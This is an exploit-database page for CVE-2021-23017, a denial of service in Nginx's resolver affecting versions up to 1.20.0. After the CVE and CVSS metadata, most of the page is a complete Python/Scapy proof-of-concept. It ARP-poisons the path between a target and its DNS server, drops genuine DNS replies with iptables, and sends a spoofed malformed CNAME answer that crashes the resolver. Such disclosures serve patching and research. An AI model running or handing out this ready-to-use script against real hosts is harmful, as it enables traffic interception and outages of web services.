Exploitalert - Database of Exploits

Nginx 1.20.0 Denial Of Service

CVE	Category	Price	Severity
CVE-2021-23017	CWE-400	$5,000	High

Author	Risk	Exploitation Type	Date
Gllmm	High	Remote	2022-07-11

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2022070032

Nginx 1.20.0 Denial Of Service

# Exploit Title: Nginx 1.20.0 - Denial of Service (DOS) # Date: 2022-6-29 # Exploit Author: Mohammed Alshehri - https://Github.com/M507 # Vendor Homepage: https://nginx.org/ # Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0 # Version: 0.6.18 - 1.20.0 # Tested on: Ubuntu 18.04.4 LTS bionic # CVE: CVE-2021-23017 # The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn # python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1 # The service needs to be configured to use Nginx resolver from scapy.all import * from multiprocessing import Process from binascii import hexlify, unhexlify import argparse, time, os def device_setup(): os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward") os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP") def ARPP(target, dns_server): print("[*] Sending poisoned ARP packets") target_mac = getmacbyip(target) dns_server_mac = getmacbyip(dns_server) while True: time.sleep(2) send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0) send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0) def exploit(target): print("[*] Listening ") sniff (filter="udp and port 53 and host " + target, prn = process_received_packet) """ RFC schema 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | LENGTH | ID | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ANCOUNT | NSCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ARCOUNT | QD | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | AN | NS | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | AR | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Fig. DNS """ def process_received_packet(received_packet): if received_packet[IP].src == target_ip: if received_packet.haslayer(DNS): if DNSQR in received_packet: print("[*] the received packet: " + str(bytes_hex(received_packet))) print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build()))) try: # \/ the received DNS request dns_request = received_packet[DNS].build() null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12) print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index]))) print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:]))) payload = [ dns_request[0:2], b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00", dns_request[12:null_pointer_index+1], dns_request[null_pointer_index+1:null_pointer_index+3], dns_request[null_pointer_index+3:null_pointer_index+5], b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10", b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41", b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41", b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04" ] payload = b"".join(payload) spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/\ UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/\ payload) print("[+] dns answer: "+str(hexlify(payload))) print("[+] full packet: " + str(bytes_hex(spoofed_pkt))) sendp(spoofed_pkt, count=1) print("\n[+] malicious answer was sent") print("[+] exploited\n") except: print("\n[-] ERROR") def main(): global target_ip parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help="IP address of the target") parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target") args = parser.parse_args() target_ip = args.target dns_server_ip = args.dns_server device_setup() processes_list = [] ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip)) exploitProcess = Process(target=exploit,args=(target_ip,)) processes_list.append(ARPPProcess) processes_list.append(exploitProcess) for process in processes_list: process.start() for process in processes_list: process.join() if __name__ == '__main__': target_ip = "" main()

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